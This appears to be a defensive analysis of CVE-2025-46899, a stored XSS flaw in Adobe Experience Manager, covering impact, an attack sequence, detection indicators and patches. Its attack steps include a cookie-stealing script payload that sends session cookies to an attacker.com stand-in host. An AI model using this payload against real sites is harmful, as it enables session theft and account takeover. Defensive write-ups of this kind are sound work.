CVE-2025-46899: 
Adobe Experience Manager vulnerability analysis and mitigation

CVE-2025-46899 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that allows a low-privileged attacker to inject malicious scripts into vulnerable form fields. Affected versions include AEM 6.5.22 and earlier (on-premises) and AEM Cloud Service versions prior to 2025.5.0. The vulnerability was published on June 10, 2025, with a patch made available the same day. It carries a CVSS v3.1 base score of 5.4 (Medium) (Adobe Advisory).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), specifically of the stored (persistent) variant. A low-privileged attacker can submit malicious JavaScript payloads into vulnerable AEM form fields; the input is stored server-side and later rendered without proper sanitization or output encoding in other users' browsers. Exploitation requires network access and user interaction (a victim must browse to the page containing the injected content), but no elevated privileges beyond a basic authenticated account are needed (Adobe Advisory).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session within the AEM application. This can result in session token theft, credential harvesting, unauthorized actions performed on behalf of the victim, modification of page content, or redirection to malicious external sites. Confidentiality and integrity are both assessed as low-impact; availability is not affected (Adobe Advisory).

There is no public proof-of-concept exploit code and no evidence of in-the-wild exploitation at this time. The EPSS score is approximately 0.029%, indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. No threat actor attribution has been reported (Adobe Advisory).

1. Reconnaissance: Identify an Adobe Experience Manager instance running version 6.5.22 or earlier (on-premises) or AEM Cloud Service prior to 2025.5.0 that is accessible over the network.
2. Obtain low-privileged access: Authenticate to the AEM instance using any valid low-privileged user account (e.g., a content author or contributor account).
3. Locate vulnerable form fields: Navigate to AEM pages or components that contain form fields susceptible to stored XSS — such as text input fields in editable templates, content fragments, or page properties.
4. Inject malicious payload: Submit a crafted JavaScript payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into the vulnerable form field and save or publish the content.
5. Trigger victim execution: Wait for or socially engineer a higher-privileged user (e.g., an administrator or editor) to browse to the page containing the injected field, causing the malicious script to execute in their browser context.
6. Achieve objective: Harvest session cookies, perform actions on behalf of the victim within AEM, or redirect the victim to an attacker-controlled site (Adobe Advisory).

• Logs: AEM access logs showing POST requests to content authoring endpoints (e.g., /content/, /editor.html/) containing encoded script tags or JavaScript event handlers (<script>, onerror=, onload=, javascript:) in request bodies.
• Logs: AEM error logs or audit logs recording unexpected content modifications by low-privileged user accounts.
• Network: Outbound HTTP requests from victim browsers to unknown external domains shortly after accessing AEM-authored pages, potentially carrying cookie or session data as query parameters.
• File System / Content Repository: Presence of JavaScript payloads stored within AEM JCR (Java Content Repository) nodes — detectable via CRXDE Lite or repository queries for node properties containing <script> or event handler strings.

Adobe has released patches addressing this vulnerability: update AEM on-premises deployments to version 6.5.23.0 or later, and AEM Cloud Service to version 2025.5.0 or later. As complementary mitigations, organizations should implement a strict Content Security Policy (CSP) to limit script execution, enforce strong input validation and output encoding on all user-supplied content, and restrict form-editing privileges to trusted users only (Adobe Advisory).

The Center for Internet Security (CIS) issued an advisory noting multiple vulnerabilities in Adobe products, including this CVE, that could allow for arbitrary code execution in a broader context (CIS Advisory). No notable independent researcher commentary or significant social media discussion has been identified for this specific CVE.